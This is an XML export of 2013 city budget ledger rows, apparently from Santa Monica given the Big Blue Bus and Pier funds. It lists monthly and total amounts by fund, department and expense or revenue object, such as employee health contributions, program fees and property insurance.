<row _id="2429"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>407070.0</object><object_description>CUPA ADMINISTRATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-216000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-216000.0</total></row>
<row _id="2430"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570100.0</object><object_description>PEG TRANSFER FROM FUND 04</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-262757</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-262757.0</total></row>
<row _id="2431"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-6662.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6662.0</total></row>
<row _id="2432"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-32245.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-32245.0</total></row>
<row _id="2433"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3259.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3259.0</total></row>
<row _id="2434"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2255.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2255.0</total></row>
<row _id="2435"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-6005.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6005.0</total></row>
<row _id="2436"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-817.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-817.0</total></row>
<row _id="2437"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-1734.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1734.0</total></row>
<row _id="2438"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-1507.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1507.0</total></row>
<row _id="2439"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-63377.0</july><august>0</august><september>0.0</september><october>-1306.0</october><november>1306</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-63377.0</total></row>
<row _id="2440"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-6071.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>653</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5418.0</total></row>
<row _id="2441"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-203370.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-203370.0</total></row>
<row _id="2442"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-23610.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-23610.0</total></row>
<row _id="2443"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577723.0</object><object_description>CDBG - OTHER PROGRAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>510000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>510000.0</total></row>
<row _id="2444"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402510.0</object><object_description>COMM &amp; TRIBUTE PROG</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="2445"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555350.0</object><object_description>COMM &amp; TRIBUTE PROGRAM</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>25000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="2446"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544450.0</object><object_description>ADMIN-COMMUNICATION EFFORTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50167.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50167.0</total></row>
<row _id="2447"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409021.0</object><object_description>ENRICHMENT-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-124489.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-124489.0</total></row>
<row _id="2448"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408200.0</object><object_description>SINGLE-USE CARRYOUT BAG BAN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
<row _id="2449"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556130.0</object><object_description>SOLD CASKETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="2450"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>312174.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-7084</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>305090.0</total></row>
<row _id="2451"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5140.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>70</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5210.0</total></row>
<row _id="2452"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-18904.0</july><august>315</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1728</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-16861.0</total></row>
<row _id="2453"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409006.0</object><object_description>CHILDCARE-FEBRUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-31130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-31130.0</total></row>
<row _id="2454"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409042.0</object><object_description>ELEM SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-52410.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-52410.0</total></row>
<row _id="2455"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409043.0</object><object_description>ELEM SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-54654.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-54654.0</total></row>
<row _id="2456"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409062.0</object><object_description>SMSE-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-7636.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-7636.0</total></row>
<row _id="2457"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>180.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>180.0</total></row>
<row _id="2458"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402820.0</object><object_description>FLOWER SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-16320.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-16320.0</total></row>
<row _id="2459"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4388.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4388.0</total></row>
<row _id="2460"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>50187.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>5000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>55187.0</total></row>
<row _id="2461"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>7</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>707.0</total></row>
<row _id="2462"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2685.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>72</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2757.0</total></row>
<row _id="2463"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="2464"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3930.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3930.0</total></row>
<row _id="2465"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="2466"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577540.0</object><object_description>FARMERS' MKT SPECIAL EVENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>29623.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29623.0</total></row>
<row _id="2467"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2050.0</total></row>
<row _id="2468"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2066.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2066.0</total></row>
<row _id="2469"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50282.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50282.0</total></row>
<row _id="2470"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>141844.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>141844.0</total></row>
<row _id="2471"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1150.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1150.0</total></row>
<row _id="2472"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>19408.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>9660</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29068.0</total></row>
<row _id="2473"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="2474"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>432.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>432.0</total></row>
